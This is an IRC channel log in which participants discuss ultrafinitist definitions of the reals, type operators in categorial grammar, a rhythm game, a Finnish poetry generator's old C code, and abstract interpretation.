01:49:03 <alise> h would be the result of pressing 0., holding down 0 for a long while, then pressing 1, probably.
01:49:23 <fax> shouldn't h come from a physical/science experiment
01:49:28 <fax> like the fine structure constant or something
01:49:43 <alise> Zeilberger claims they are separate to physical constraints and that he is a platonist.
01:50:01 <alise> Since we are following his school of ultrafinitism, not the usual physical-constraints one, that is not required.
01:50:14 <alise> 1/p is a good value for h if you have that in your system.
01:50:26 <uorygl[hireMe]> What is hZ_p?
01:50:30 <alise> p is a natural and rationals = size of naturals + size of integers, so
01:50:36 <alise> 1/p should always be acceptable
01:50:42 <alise> uorygl[hireMe]: Z is the integers
01:50:44 <alise> _p is subscript p
01:50:54 <uorygl[hireMe]> And h is an h?
01:50:57 <alise> Zeilberger, an ultrafinitist that believes no infinite sets exist, defines the reals as hZ_p
01:50:59 <uorygl[hireMe]> That explains so much.
01:51:06 <alise> where h is a very, very small number
01:51:09 <alise> and p is a very, very large prime
01:51:22 <fax> lol
01:51:24 <fax> 01:50 < uorygl[hireMe]> That explains so much.
01:51:26 <fax> ^^^^ lol
01:51:39 <uorygl[hireMe]> So what does hZ_p mean?
01:51:50 <alise> It means hZ_p. :-P
01:52:04 <uorygl[hireMe]> That is not a definition!
01:52:23 <uorygl[hireMe]> Or, if it is a definition, then your mom is a perfectly good model of hZ_p.
01:52:27 <uorygl[hireMe]> Since your mom is your mom.
01:52:29 <alise> 'Tis true
01:53:37 <fax> Z_p = Z/Zp I guess?
01:53:49 <fax> Galois field
01:53:51 <uorygl[hireMe]> Yeah, I figure Z_p is the integers modulo p.
01:53:57 <uorygl[hireMe]> I have no idea what the h is supposed to be.
01:54:13 <fax> F_p = Z/pZ
01:54:27 <fax> h is the fundamental mesh constant, it's smaller than 1
01:54:42 <fax> so hZ_p = {...-h,0,h,2h,3h,...}
01:54:56 <alise> h: It's Smaller Than One.
01:55:04 <uorygl[hireMe]> So you multiply each number by h?
01:56:08 <fax> lol
01:56:20 <fax> alise you should make slogans
01:56:22 <alise> so if h is the fundamental mesh constant, what's the cool name for p
01:56:39 <fax> uorygl this is my interpretation, but I am by no mean an expert on this
01:57:41 <oklopol> it doesn't actually do anything
01:57:42 <alise> Hmm, ultrafinitists don't even let you have a type of types.
01:57:54 <alise> After all, it's infinite.
01:58:00 <alise> Unless you have a finite number of sets, which would be cool.
01:58:03 <alise> oklopol: what doesn't?
02:00:01 <alise> I guess the best thing is to have the integers be of size p.
02:00:43 <alise> Which means that the naturals are of size (p+1)/2.
02:00:58 <uorygl[hireMe]> What does let you have a type of types?
02:01:05 <alise> So the rationals are of size p+((p+1)/2).
02:01:11 <uorygl[hireMe]> I know of... not many systems under which that's possible.
02:01:12 <alise> uorygl[hireMe]: Anything?
02:01:14 <alise> Nat : Set.
02:01:27 <uorygl[hireMe]> Yes, but Set !: Set.
02:01:38 <alise> Obviously.
02:01:43 <alise> But Set is still infinite.
02:02:08 <alise> So, the reals have the same size as the integers.
02:02:16 <alise> Which means that the reals are smaller than the rationals.
02:02:23 <alise> This Makes No Sense (not that ultrafinitism does); start over.
02:02:41 <alise> The naturals are of size (p+1)/2.
02:02:44 <alise> The integers are of size p.
02:02:52 <oklopol> your mom
02:02:52 <alise> The rationals are of size p.
02:03:06 <alise> Half negative, half positive.
02:03:11 <oklopol> also the h
02:03:19 <alise> So (p-1)/2 each.
02:03:26 <uorygl[hireMe]> Here's some ultrafinitism for you: take ZFC, remove the axiom of infinity, add an axiom of non-infinity.
02:03:52 <alise> fax: i don't know coq man I can't do this :(
02:06:34 <fax> alise, (p-1)/2 is valid Coq
02:07:09 <alise> yes it is
02:09:09 <alise> hmm
02:09:13 <alise> the size of the integers must be prime
02:09:41 <fax> that would make integers a field - weird
02:10:01 <alise> isn't that awesome not weird :)
02:10:14 <alise> see these are the possibilities ultrafinitism gives you dude
02:10:28 <fax> lol I will ttyl
02:10:37 <fax> I have to go
02:10:52 * Sgeo should have gotten an F on his history exam. Instead, I got a B+
02:11:27 <fax> 1234567890123456789012353 is a prime number
02:12:16 <uorygl[hireMe]> Sgeo: you've turned into a history person!
02:13:03 <Oranjer> an historical personage
02:13:36 <Sgeo> I got a 36/50
02:19:01 <alise> Things about the rationals: 1/p is a rational.
02:19:14 <alise> So, for every integer, there are p elements in the rationals for it.
02:19:26 <alise> p is the maximum size of a set. So, the rationals suck.
02:19:30 <alise> So, I must sacrifice something.
02:19:34 <alise> I sacrifice 1/p.
02:19:34 -!- Asztal has quit (Ping timeout: 265 seconds).
02:21:23 -!- fax has quit (Quit: 1234567890123456789012353).
02:38:14 -!- coppro has joined.
02:42:44 <alise> It would be interesting to see how varied an ultrafinitist system is.
02:42:45 <alise> My bet: Not at all.
02:47:07 -!- oklopol has quit (Ping timeout: 265 seconds).
02:51:54 <Gregor> http://sibeli.us/
03:15:31 <uorygl[hireMe]> The best ultrafinitist system is a Galois field.
03:15:37 -!- uorygl[hireMe] has changed nick to uorygl.
03:16:01 <adu> what language lends itself to reflection the most?
03:16:20 <uorygl> BackFlip. :P
03:16:56 -!- alise has quit (Quit: Page closed).
03:16:58 <adu> not that kind of reflectiong
03:26:01 -!- werdan7 has quit (*.net *.split).
03:26:02 -!- rodgort has quit (*.net *.split).
03:26:02 -!- ttm has quit (*.net *.split).
03:28:18 <uorygl> Aura!
03:28:24 -!- ttm has joined.
03:28:26 <Oranjer> jamaica!
03:28:35 <uorygl> Or whatever that's called.
03:29:03 -!- rodgort has joined.
03:40:39 -!- werdan7 has joined.
03:50:57 -!- Gracenotes has joined.
04:13:45 <Sgeo> Gah, I'm so unclear sometimes.
04:17:52 <uorygl> I'm tempted to throw neutrons at you.
04:18:02 <uorygl> But that wouldn't really help.
04:18:29 -!- jcp has quit (Ping timeout: 260 seconds).
04:18:39 <Oranjer> Sgisotype
04:43:28 -!- coppro has quit (Read error: Operation timed out).
04:59:52 -!- coppro has joined.
05:08:13 -!- coppro has quit (Ping timeout: 276 seconds).
05:24:30 <Gregor> Hm, smeta.na is available for the low low price of $4,000/yr
05:25:38 -!- coppro has joined.
05:34:19 -!- Oranjer has left (?).
05:39:42 * Sgeo is half tempted to use PSOX with Scheme
05:39:45 <Sgeo> >:D
05:40:41 * Gregor three-quarters tempted to mock Sgeo's use of fractional temptation.
06:09:36 -!- skeeto has joined.
06:10:55 <skeeto> is it possible to write the identity function in Fractran? I don't think it's possible.
06:23:05 -!- skeeto has left (?).
06:33:24 <uorygl> So, what does PSOX look like?
06:33:44 <Gregor> One can not see PSOX.
06:33:50 <Gregor> One can only ... /experience/ PSOX.
06:33:56 * Sgeo decides that uorygl has been living in a bubble since the end of 2007
06:33:59 <uorygl> Does it provide the Unix standard library?
06:34:11 <uorygl> I don't think PSOX is famous.
06:34:33 <Sgeo> It is infamous in these parts
06:35:11 <Sgeo> It gives alise aneurysms
06:35:35 <uorygl> If it gives alise aneurysms, I'm almost bound to probably be slightly irritated by it.
06:45:05 -!- FireFly has joined.
06:49:15 -!- oerjan has joined.
06:56:10 <pikhq> Sgeo: Isn't PSOX about as well-maintained as PEBBLE these days?
06:56:27 <Sgeo> pikhq, if PEBBLE was abandoned, yes
06:56:45 <pikhq> I've not touched it since, oh, 2007.
06:56:49 <Sgeo> If people start showing interest, I may regain interest in maintaining PSOX
07:00:06 -!- kar8nga has joined.
07:06:43 -!- tombom has joined.
07:29:32 -!- oerjan has quit (Quit: leaving).
07:39:42 * Sgeo goes to try Smalltalk
07:51:44 -!- tombom has quit (Quit: Leaving).
07:52:53 -!- cheater2 has quit (Ping timeout: 246 seconds).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:50 -!- cheater2 has joined.
08:13:19 -!- FireFly has quit (Quit: Leaving).
08:15:54 -!- cheater3 has joined.
08:17:55 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
08:19:53 -!- cheater2 has quit (Ping timeout: 256 seconds).
08:20:29 -!- zeotrope has quit (Ping timeout: 256 seconds).
08:21:04 -!- zeotrope has joined.
08:32:21 -!- OxE6 has quit (Ping timeout: 260 seconds).
08:33:24 -!- adu has quit (Quit: adu).
08:36:59 -!- adu has joined.
08:38:20 -!- MU has joined.
08:38:29 -!- MU has left (?).
08:52:01 -!- MizardX has joined.
09:15:03 -!- lament has quit (Ping timeout: 240 seconds).
09:15:10 -!- lament has joined.
10:16:32 -!- kar8nga has quit (Remote host closed the connection).
10:23:36 -!- oklopol has joined.
10:25:28 <oklopol> oerjan come quick
10:37:46 <augur> oklopol! :o
10:43:52 <oklopol> hi
10:44:28 <oklopol> do the types by any chance form a quasigroup in your a/b b\a type thingie?
10:45:23 <augur> what
10:46:12 <oklopol> i'll take that as a no
10:46:21 <augur> no no, dont take it as anything
10:46:26 <augur> i dont know what you're asking
10:46:30 <oklopol> oh okay
10:46:32 <oklopol> i'm talking about that
10:46:48 <oklopol> linguistics thing you tried to teach me and someone else and he was like whaaaaaa
10:47:06 <augur> (C)CG?
10:47:08 <oklopol> and you were like okay this is going nowhere i'm gonna go do something otherthing.
10:47:20 <augur> oh, right
10:47:32 <augur> lecomte and retore's minimalism
10:47:34 <oklopol> it was about semiconflabulent grammars
10:47:39 <oklopol> ah minimalist
10:48:00 <augur> i dont know if the types for a well defined structure. i doubt it
10:48:04 <augur> form**
10:49:31 <oklopol> hmm minimalism has (a/b)*b = a, but does it have (a*b)/b? i guess that makes no sense
10:50:07 <augur> well, * is an operation on lexical items that bear types
10:50:17 <oklopol> i just noticed a similarity when reading about quasigroups, but i haven't actually given it any thought
10:50:21 <augur> not a type constructor
10:50:25 <oklopol> right
10:50:33 <oklopol> so a*b isn't even defined in general
10:50:41 <augur> well, it is
10:50:44 <oklopol> therefore it can't form an algebra
10:50:45 <oklopol> oh?
10:50:47 <augur> its just not a type constructor
10:50:57 <augur> look at it like this
10:50:58 <oklopol> but is it defined no matter what the types of a and b are
10:51:07 <augur> thats correct
10:51:12 <augur> but / is a type constructor
10:51:15 <augur> * is not
10:51:29 <augur> so you cant do (a*b)/c
10:51:33 <augur> why? because a*b is not a type
10:51:43 <augur> so you cant use / on it
10:51:52 <oklopol> oh alright
10:51:58 <augur> think of it like haskell
10:52:04 <augur> a -> b is a type in haskell
10:52:11 <augur> a + b is not a type
10:52:17 <augur> so you cant have some type
10:52:19 <augur> (a + b) -> c
10:52:51 <oklopol> so i can't really say (A/B)*B = A either, i can say c*d : B if c : (A/B) and d : B?
10:53:33 <augur> pretty but. i mean, (A/B)*B would be seen as just an operation over the type objects
10:53:37 <augur> which is fine
10:53:42 <augur> its just not a type constructor
10:53:52 <augur> its an operation on types.
10:53:58 <augur> brb
10:54:11 <oklopol> but as an operation over type objects, isn't it partial?
10:55:01 <oklopol> say we just have the types A and B, how can A*B be defined if * isn't a type constructor
10:55:37 <oklopol> also how can it be defined on the objects or whatever, if a : A, b : B, what's the type of a*b?
10:56:53 <augur> it is indeed partial
10:57:31 <augur> A*B is undefined. only A/B * B and B * A\B are defined
10:57:43 <augur> for all types A and B
10:57:47 <oklopol> okay, so they do form an algebra, but it's partial
10:57:54 <oklopol> therefore it clearly can't be a quasigroup
10:57:55 <augur> its just function application dude
10:58:11 <augur> its literally beta reduction
10:58:17 <augur> on types instead of functions
10:58:27 <augur> and the types are directional
10:59:02 <oklopol> what's the difference between type constructors and type operators? both are operators that take types to other types
10:59:15 <oklopol> constructors are used to define the universe of types, yes, but i don't see how that's relevant
10:59:34 <oklopol> i probably shouldn't be looking at this quite this algebraically.
10:59:38 <augur> sure but a type constructor is, at least in this case, and i think in all cases, total
10:59:47 <oklopol> ah, well yes, okay
10:59:51 <augur> -> : T x T -> T
11:00:07 <augur> * : (T x T) x T -> T
11:01:14 <augur> theres also the tensor product thing that they had tho fight
11:01:27 <augur> they had a second type constructor, x
11:01:30 <oklopol> so (T, /, \) forms an algebra, but it doesn't really have any structure... so i guess you should just think of those as type constructors instead of an algebra
11:01:41 <augur> well, it DOES have structure
11:01:45 <augur> its just not a well known one
11:02:08 <augur> or rather, its not an interesting one
11:02:43 <augur> if you did math, for instance, + or * over the integers has all sorts of fun properties
11:02:49 <oklopol> well right, that's what i meant, it's the free algebra on two binary operations, sort of
11:02:51 <augur> like, sometimes you can get back what you gave it
11:02:58 <augur> or you can go in circles
11:03:03 <augur> etc
11:03:13 <augur> / and \ are not like that
11:03:30 <oklopol> yeah therefore free
11:03:47 <augur> which is to say, there are finite subsets of Z which are closed under + or *
11:04:03 <augur> there is no subset of T that is closed under / or \
11:04:13 <augur> T as a whole is closed, but no subset of it is
11:04:24 <oklopol> that's not true
11:04:29 <augur> yes it is
11:04:35 <oklopol> the subalgebra generated by A/B is a subset
11:04:37 <oklopol> that's closed
11:04:43 <augur> what?
11:04:59 <augur> sorry, no finite subset
11:05:05 <oklopol> yeah that's true
11:05:13 <oklopol> obviously
11:05:33 <oklopol> but it's freeness that's the point
11:05:39 <augur> but there ARE finite subsets of Z which are closed under *, lets say
11:05:42 <augur> {1} for instance
11:05:54 <augur> or {0} or {0,1}
11:06:06 <oklopol> why are you telling me this?
11:06:13 <augur> im just saying
11:06:21 <oklopol> oh well i guess that's allowed
11:06:25 <augur> the structure of Z under + or * is more interesting than \ and /
11:06:40 <augur> simply because you can get substructures that are interesting like this
11:08:11 <augur> you can do all sorts of fun stuff with * and + that you cant do with / and \ simply because / and \ are, you might say, information preserving
11:08:26 <oklopol> yeah, you might even say it's free.
11:08:45 <augur> the result of addition is not something that has a uniquely identifiable origin
11:08:56 <augur> 1 + 1 = 0 + 2 = -1 + 3 = ...
11:09:19 <augur> but A/B is just A/B. theres only one way to get A/B.
11:10:15 -!- Slereah has quit (Ping timeout: 240 seconds).
11:10:27 -!- comex has quit (Ping timeout: 276 seconds).
11:10:35 <oklopol> i don't really know the exact definition of freeness, but that's exactly what i mean by free in the case of an algebra that doesn't have any sort of identities.
11:11:43 <oklopol> there's a base and there's only one way to get everything from it. in the case of no identities, we have the stronger thing that every individual operation is completely reversible
11:12:24 <augur> anyway
11:12:57 <augur> if you let * be a type operator (which it technically isnt; it operators on things _with_ types, but we can pretend it can operate on just types for convenience)
11:13:15 <augur> then you get \ / and * forming some sort of "non-free" object, as you might say
11:13:18 <oklopol> identities being where the structure comes from, in the free monoid we can still have ab*c = a*bc even though it's free, where {a,b,c} is the base, because we have an identity that makes them the same, but if the operation satisfies no identities, then it's fully information preserving
11:13:52 <oklopol> they form a partial algebra, if that's the term
11:14:06 <augur> e.g. (A/B * B)/B, ((A/B)/B)*B, etc.
11:14:32 <oklopol> might still be free though
11:14:39 <oklopol> hmmhmm
11:14:49 <augur> maybe. im just saying that there you now get the non-uniqueness of histories.
11:14:59 <oklopol> trues
11:15:50 <oklopol> i'm actually literally atm reading a book that would completely explain the role of identities in universal algebra, if i just read like 20 pages ahead
11:16:00 <oklopol> :P
11:16:13 -!- Slereah has joined.
11:18:25 <augur> :)
11:20:40 -!- cal153 has quit (Ping timeout: 276 seconds).
11:22:02 <oklopol> (which also might be why i'm obsessing about the algebraic side of these things)
11:27:07 -!- cal153 has joined.
11:50:50 -!- cal153 has quit (Ping timeout: 248 seconds).
11:54:39 -!- cal153 has joined.
12:32:09 -!- fax has joined.
12:36:12 -!- alise has joined.
12:43:23 -!- oklopol has quit (Ping timeout: 245 seconds).
12:50:24 <alise> Gregor: I finished sibeli.us
12:50:43 <alise> Your score: 175822 / Points possible: 660500 / Grade: 26% (F)
12:50:50 <alise> I couldn't go any swbps because of my kb matrix
12:50:52 <alise> *do
12:51:00 <Quadrescence> alise is kool
12:52:40 <alise> augur: + /is/ an operation on types tyvm
12:52:40 <alise> it's (Either a b) in haskell syntax
12:53:14 <alise> a*b (same thing as cartesian product) = (a,b)
13:02:13 <augur> alise: oh, well ok. :P
13:02:30 <augur> i meant + as integer addition tho
13:02:40 <augur> thats all
13:04:22 -!- alise has quit (Ping timeout: 252 seconds).
13:04:36 -!- alise has joined.
13:04:39 <augur> o hai
13:04:42 <fizzie> Your score: 480612; Points possible: 660500; Grade: 72% (C-); this could do swbp (1234) most of the time, though I got some key-jammery there somewhere. I have to wonder if it would've been easier with the music, though.
13:05:20 <Deewiant> Your score: 380183 Points possible: 660500 Grade: 57% (F)
13:05:33 <Deewiant> 1234 would have worked too? That'd have made it easier
13:05:47 <fizzie> "Use the keys '1', '2', '3' and '4' (or 's', 'w', 'b' and 'p') for strings, woodwinds, brass and percussion."
13:05:52 <fizzie> That's what it says on the front page.
13:05:54 <Deewiant> Yeah, I missed that bit.
13:06:04 <Deewiant> I just pressed "play" without reading the instructions.
13:06:14 <fizzie> Sounds exactly like the sort of thing you'd do!
13:06:53 <Deewiant> swbp is highly inconvenient on Colemak; all left hand and in 2143 order
13:06:54 <alise> HA
13:06:54 <alise> Deewiant loses at something!
13:07:09 <Deewiant> A first!
13:07:40 <alise> XD
13:07:41 <alise> But yeah, I started thinking ohh this is easy
13:07:41 <alise> And then it was all, like, SSSWSWSWISBWndhFoiDSJpKAFPAJDOIHWDSOIWJD
13:08:04 <Deewiant> I dreaded the fast bits from the start :-P
13:08:05 <alise> fizzie: It's worse with the music, trust me
13:08:22 <fizzie> With a 100+-key keyboard, though, shouldn't you be controlling just about every instrument?
13:09:24 <alise> :D
13:09:24 <alise> Deewiant: I've heard the whole thing like... once before
13:09:54 <Deewiant> And I, several
13:09:54 <alise> So a couple of times I thought "thank god, it's over" and then more shit popped up
13:10:44 <fizzie> Being .fi, it's sort-of required reading, I think.
13:11:00 <fizzie> Or listening. Anyway.
13:11:34 <alise> It's rubbish
13:11:34 <alise> You Finlanders suck :P
13:12:21 <fizzie> Deewiant: More automatic tweetery, though this is a bit Finnish-only: [2010-03-10 14:53:19] Tweeted: verikissanhiekka valtaa kanavia internetissä / akuutti rautaneito kuin laiteristiriita / laiminlyöty ja kukertava (runogen)
13:12:56 <alise> What.
13:13:03 <Deewiant> heh
13:13:40 <fizzie> It's automagical poetry-generation; a rather old (10 years?) bit of code that I was suggested to make auto-tweet too.
13:15:57 <Deewiant> 1234 was a lot more comfortable if not easier: Your score: 418757 Points possible: 660500 Grade: 63% (D)
13:16:12 <fizzie> alise: I don't think my poetic skills are up to a faithful translation, but if you want a mostly literal one... "blood-cat-litter takes over channels on the Internet / the acute iron maiden like a device conflict / neglected and colorful".
13:16:25 <fizzie> Though "colorful" is a crappy word for "kukertava"; I don't really know what it should be.
13:16:35 <alise> fizzie: xD
13:16:48 <fizzie> Wiktionary's entry -- http://en.wiktionary.org/wiki/kukertaa#Finnish -- lacks a definition.
13:17:19 <Deewiant> fizzie: flowery?
13:18:29 <fizzie> I'm not sure. Perhaps, though the connection to actual flowers is (at least to me) less there.
13:18:39 <fizzie> 1. flowery -- (of or relating to or suggestive of flowers; "a flowery hat"; "flowery wine")
13:18:39 <fizzie> 2. flowery, ornate -- (marked by elaborate rhetoric and elaborated with decorative details; "a flowery speech"; "ornate rhetoric taught out of the rule of Plato"-John Milton)
13:19:07 <fizzie> It's not sense #2, but it's maybe not exactly sense #1 either.
13:19:45 <fizzie> Interwebs say: "It's a Finnish word for a colour that isn't of any particular colour, I think."
13:20:08 <alise> xD
13:20:11 <Deewiant> Right
13:20:21 <Deewiant> Weird-ass word; to me it suggests flowers
13:20:50 <fizzie> Deewiant: Here's one poem I created earlier: "saatanan aarre ei ole valopuu / humanistien aurinko ymmärtää antaa kuin ruoska / kaipaus ei ole käytävä eikä brainfuck"
13:20:51 <Deewiant> But evidently that's not what it means
13:21:07 <Deewiant> fizzie: :-D
13:21:09 <alise> *word.
13:21:09 <alise> fizzie: translayt
13:21:21 -!- kar8nga has joined.
13:22:10 <fizzie> alise: "The treasure of Satan is not a light-tree / the sun of humanists knows to put out like a whip / longing is not a corridor, nor brainfuck".
13:22:31 <fizzie> "ymmärtää antaa" is another a bit difficult one.
13:22:34 <Deewiant> fizzie: I'd've said "insinuates"
13:23:07 <fizzie> Deewiant: But that's "antaa ymmärtää", isn't it?
13:23:23 <Deewiant> Yes, but with poetic license you can write it the other way around.
13:23:39 <fizzie> Oh, but it's not that, in fact; that thing there in the poem is the other half from the saying "antaa ymmärtää, muttei ymmärrä antaa".
13:23:39 <Deewiant> I don't know, that just made more sense to me.
13:24:10 <fizzie> The translation used the "6. put out -- (be sexually active; "She is supposed to put out")" sense of "put out".
13:24:10 <Deewiant> Then I'd just say "understands to give"
13:24:25 <Deewiant> And to me, that wasn't implied :-P
13:25:13 <fizzie> Well, you'd have to know the guy whose irc behaviour was used as a model when constructing that particular wordlist. :p
13:25:14 <alise> those would make goodterrible lyrics
13:25:14 <alise> for a goodterribleterrible song
13:26:19 <fizzie> Deewiant: "ymmärtää antaa" is only in the "naula" wordset, c.f. http://www.pelulamu.net/naula/
13:26:45 <Deewiant> I learned long ago not to visit pelulamu.net
13:27:08 <Deewiant> So yeah, okay. :-P
13:27:09 <alise> pelulamu.net?
13:27:40 <fizzie> Anyway, that generator is a handcrafted CFG, mostly not by me; there's four wordsets ("poetic", "gothy", "funny" and "naula") you can tell it to use.
13:28:01 <fizzie> If you do "-w goth", you get out stuff like: "sinä olet pääkallo / risti kylpee veressä / pikkutyttö kylpee veressä tulvillaan kipua sydänyöllä"
13:28:08 <Deewiant> :-D
13:28:42 <alise> pelulamu.net?
13:28:42 <alise> also TRANSLATE :|
13:28:50 <Deewiant> Do you have this available? I could put this in /etc/profile.d
13:29:16 <Deewiant> alise: google.com/translate_t
13:29:43 <fizzie> Deewiant: Sowwy, but there's only a binary-only version available; I'm supposed to clean up the code before release; have been for the last ten years.
13:29:46 <alise> no :|
13:29:49 <fizzie> Deewiant: http://maija.irtie.org/runogen/ anyway.
13:30:23 <alise> specially as i'm going in ... 20 seconds?
13:30:23 <alise> but srsly what's pelulamu.net
13:30:23 <alise> like finnish rotten.com or sth?
13:30:28 <fizzie> alise: Well, the gothy one is approximately "you are a skull / a cross bathes in blood / a little girl bathes in blood full of pain at midnight".
13:30:45 <Deewiant> fizzie: Can you hook me up with a 64-bit binary?
13:30:47 <alise> :D
13:30:54 <fizzie> Deewiant: Um, sure, I guess.
13:31:15 <fizzie> Deewiant: Don't you have any 32-bit compatibility libs, though?-)
13:31:21 <Deewiant> No, I do not
13:31:26 -!- alise_ has joined.
13:31:28 <Deewiant> I have a 32-bit chroot, which I'd rather avoid when possible
13:31:32 <alise_> what was said since um sure i guess
13:31:48 <Deewiant> Three lines that are available in the tunes.org clog log
13:32:05 <alise_> well as i'm leaving right now
13:32:06 <alise_> :p
13:32:16 <fizzie> Deewiant: It also generates the output in iso-8859-1; is that a problem, or can you pipe it through iconv or something manually?
13:32:31 <alise_> well bye
13:32:48 <Deewiant> Presumably something iconv-like is no problem
13:32:52 <Deewiant> alise: Bye
13:33:40 <fizzie> http://zem.fi/~fis/runogen in that case -- the server will send it as text/plain, unfortunately.
13:34:24 <Deewiant> Awesome
13:34:45 <Deewiant> It seems something between the program and my screen even automatically understands the 8-bittiness
13:34:55 <Deewiant> Cheers
13:35:10 -!- alise has quit (Ping timeout: 252 seconds).
13:37:00 -!- alise_ has quit (Ping timeout: 252 seconds).
13:37:10 <fizzie> Yes, it's a bit strange; the output looked just fine in rxvt-unicode when I ran it directly, but when I had the Python script print it out, it came up as the missing-character ? signs. I guess Python might do something there, though I was under the impression that if I just used os.popen and read() to get a 'str'-type 8-bit string and then print that, it shouldn't go and alter the bytes.
13:37:32 <fizzie> Though I had to manually utf-8ify it anyway for Twitter posting.
13:38:52 <fizzie> Unless I'm mistaken, there was also one undocumented (by -h) command line option, though I can't remember what it did.
13:39:32 <fizzie> Using "-v -v -v" will give you some printouts of the rule-parsing at least. :p
13:41:04 <Deewiant> Written in C, presumably?
13:41:13 <fizzie> Written in very ugly C.
13:41:17 <Deewiant> :-)
13:41:20 <fizzie> That's the main reason there's only binaries.
13:41:35 <fizzie> Gah, that thing's written in 2002; I'm ashamed of myself.
13:42:55 <fizzie> Deewiant: Here's a representative snippet of code quality: http://pastebin.com/XvpEJHVv
13:43:08 <Deewiant> Looks good to me
13:43:25 <fizzie> Maybe I'm overly critical.
13:43:31 <Deewiant> ;-)
13:43:53 <Quadrescence> alise is a girl
13:46:09 <fizzie> Deewiant: Well... the win32 gui code at least is a mess. :p
13:46:19 <Deewiant> Ah, but it always is
13:48:10 <fizzie> Deewiant: http://pastebin.com/KMqHn2e6
13:48:20 <fizzie> Deewiant: There's even a manually implemented checkbox-listbox thing.
13:48:50 <Deewiant> I like Outo virhe 1 and 2
13:49:41 <fizzie> Heh. I don't quite know what they mean.
13:49:42 <Deewiant> And I wonder what's going on with the number 20000 in get_opts
13:50:02 <Deewiant> Also, the loop: for (i = 20002; i < 20013; ++i) { if (i == 20012) break; ... } is nice
13:52:17 <Deewiant> At least the messages are cheerful
13:53:28 <fizzie> I think the mapping there is that 20000+N (for N = 2 .. 10) means to generate a poem of N lines; and 20011 means that the length is taken from some textfield.
13:56:18 <fizzie> Deewiant: Nnngh. Look at this nonsense: mii.dwTypeData = strdup("&Muu pituus... (xxxxxxxxxxxxxx)"); sprintf(mii.dwTypeData, "&Muu pituus... (%d)", dw);
13:57:04 <Deewiant> Nonsense? :-D
13:57:34 <Deewiant> Makes sense to me; strdup is just a not very efficient way of doing it
13:58:40 <Deewiant> (And of course it assumes a 32-bit DWORD but I guess everybody does)
13:59:41 <fizzie> I could've just used snprintf to calculate the length. Except that I guess MSVC calls that _snprintf and it doesn't actually return the number of bytes that were needed, so maybe not.
14:01:12 <Deewiant> You should use the safer _snprintf_s!
14:01:54 -!- adu has quit (Quit: adu).
14:02:42 <fizzie> I don't think MSVC6 had the _s functions yet, in fact.
14:02:49 <Deewiant> Probably not
14:39:36 -!- cpressey has joined.
15:07:18 -!- ais523 has joined.
15:27:22 <cpressey> http://dpaste.com/hold/170444/
15:29:33 <fax> cpressey its very long :|
15:29:56 <cpressey> Yeah and it doesn't tell you much you didn't already know, either :)
15:30:08 <fax> I don't really get why don't you just use types to do this proof..
15:30:37 <cpressey> But it helped me work out the system (so the comment is really the most valuable)
15:30:51 <cpressey> In short, because I don't want to be tied to any particular type system.
15:31:10 <cpressey> This method of (basically) pure rewriting lets you roll your own.
15:31:53 <cpressey> Hm, I guess I could have just done 'nand' to make it shorter.
15:32:20 -!- oerjan has joined.
15:34:07 <oerjan> <oklopol> oerjan come quick <-- er..
15:37:45 * Sgeo should not have stayed up until 4 last night
15:38:20 <oerjan> Sgeo: now you'll _never_ catch up
15:43:44 <fax> cpressey what does tied to a particular type system mean? what I am suggesting is that a type system could be on you side, rather than against you
15:44:32 <Sgeo> I guess there's no way to make a smalltalk system look like it's native?
15:53:44 <fax> wow alise is gonna love this http://www.paulkabay.com/#trivialism
15:57:23 -!- FireFly has joined.
15:57:34 -!- augur has quit (Ping timeout: 276 seconds).
16:02:53 <cpressey> fax: Well, people make up new type systems all the time, as research. I'd like to have something that supports that effort, rather than picking one type system and saying "That's all I got".
16:03:08 <cpressey> I gotta say, I love trivialism already.
16:03:10 <cpressey> bbiab.
16:03:13 -!- cpressey has left (?).
16:05:33 -!- cpressey has joined.
16:07:40 <cpressey> fax: To me, type systems are just a special case of abstract interpretation.
16:07:53 <fax> isn't that true in general?
16:08:20 <cpressey> Uh... yes? Not sure what you're referring to.
16:08:27 <fax> well you don't need to say "to me"
16:08:37 <cpressey> Oh, well
16:09:04 <fax> why don't you have an abstract interpretation module and use it to prove this boolean stuff in a much more effecient way?
16:09:53 <cpressey> That was kind of the plan, but I think it turned out that this proof construct thing *is* my abstract interpretation module...
16:10:19 <cpressey> Abstract interpretations can be mathematically modelled as Galois connections.
16:10:43 <cpressey> And these rewrite rules, with types going one way and evaluations going the other way, seem to be... close to that idea.
16:12:11 <cpressey> (I guess read my first statement as "Type systems are just a special case of abstract interpretation. Most people seem content to work inside the special case. But I want to design very general things.")
16:14:20 <fax> Galois connections??
16:15:07 <cpressey> Oh, I barely understand it myself :/
16:16:22 <cpressey> http://en.wikipedia.org/wiki/Galois_connection vs my shitty explanation http://catseye.tc/about/galois-connections.html
16:17:12 <cpressey> Also, my examples are wrong, and I think I say "element" where I mean "subset" in one place.
16:17:13 <fax> abstract values (such as {int, even, odd, power-of-two, prime, ... }).
16:17:20 <fax> ^ THIS AER TYPES!@!
16:17:35 <cpressey> Yes, I know.
16:20:09 <cpressey> And "turing-machines-that-always-halt" is a type, too...
16:21:04 <cpressey> Just, good luck proving that your function always evaluates to one.
16:23:58 <oerjan> aerotypes, just so much hot air?
16:26:28 -!- augur has joined.
16:27:16 <cpressey> Is !x -> x just as inconsistent as !x = x ? In the former, every statement has the same normal form, but there's only one normal form. In the latter, there are no normal forms.
16:28:59 -!- Gracenotes has quit (Quit: Leaving).
16:29:52 <oerjan> with intuitionistic logic otherwise, it is.
16:30:06 <oerjan> !false -> false, for example
16:31:04 <oerjan> or hm, x -> !!x is a theorem, so
16:31:17 <oerjan> x -> !!x -> !x follows
16:34:33 <augur> guess who's 24 today :D
16:34:53 <cpressey> oerjan: I agree it's ... on the same level, I just don't know if there is terminology to distinguish between the two.
16:34:56 <fax> augur
16:35:21 <cpressey> Hey, augur shares Chuck Norris's birthday.
16:35:31 <oerjan> cpressey: they're equivalent by my argument, in intuitionistic logic
16:36:48 <cpressey> oerjan: Well, maybe replace ! with @ to drop the connotation of "not" ... I'm just thinking symbolically. In both systems, you can pick any two arbitrary statements, like @@@@@x and @@x, and show they are equal.
16:37:19 <oerjan> without the connotation of "not" neither is inconsistent
16:37:25 <cpressey> Only diff is the first says they're equal because they're both equal to x. The second doesn't have to pass through x.
16:37:58 <cpressey> er, by "pass through" I mean "refer to x directly"
16:38:20 <oerjan> um neither has to pass through x
16:38:24 <oerjan> or wait
16:38:31 <cpressey> Oh, you're right.
16:38:33 <cpressey> Well, ...
16:38:48 <cpressey> :(
